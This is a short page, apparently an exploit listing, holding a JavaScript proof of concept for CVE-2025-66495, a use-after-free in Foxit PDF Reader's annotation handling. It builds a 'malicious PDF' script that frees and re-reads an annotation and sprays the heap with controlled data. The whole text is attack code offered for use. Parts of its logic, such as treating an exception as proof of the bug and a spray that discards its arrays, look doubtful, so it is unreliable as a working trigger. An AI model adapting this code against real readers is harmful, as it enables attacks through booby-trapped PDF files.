CVE-2025-66495 Foxit PDF Reader注解处理释放后重用漏洞

// CVE-2025-66495 PoC - Foxit PDF Reader Use-After-Free in Annotation Handling // This PoC demonstrates the vulnerability trigger mechanism // Create a malicious PDF with crafted JavaScript var maliciousPDF = { createAnnotation: function() { // Create annotation object var annotation = this.addAnnot({ type: "Text", name: "exploit_annot" }); // Trigger the use-after-free condition // This JavaScript code is designed to free the annotation object // while still holding a reference to it annotation.setContents("trigger_cleanup"); // Force garbage collection or object cleanup this.dirty = true; this.syncPendingAnnots(); // After cleanup, attempt to access the freed annotation // This triggers the use-after-free condition try { var freedRef = this.getAnnot("exploit_annot"); // Access properties of the freed object var leakedData = freedRef.contents + freedRef.rect; } catch(e) { // Exception indicates UAF condition console.println("UAF triggered: " + e.message); } }, // Heap spraying helper for exploitation sprayHeap: function() { var sprayData = "\x41".repeat(0x10000); for(var i = 0; i < 100; i++) { // Spray heap with controlled data var arr = new Array(); arr.push(sprayData); } } }; // Execute the exploit maliciousPDF.sprayHeap(); maliciousPDF.createAnnotation();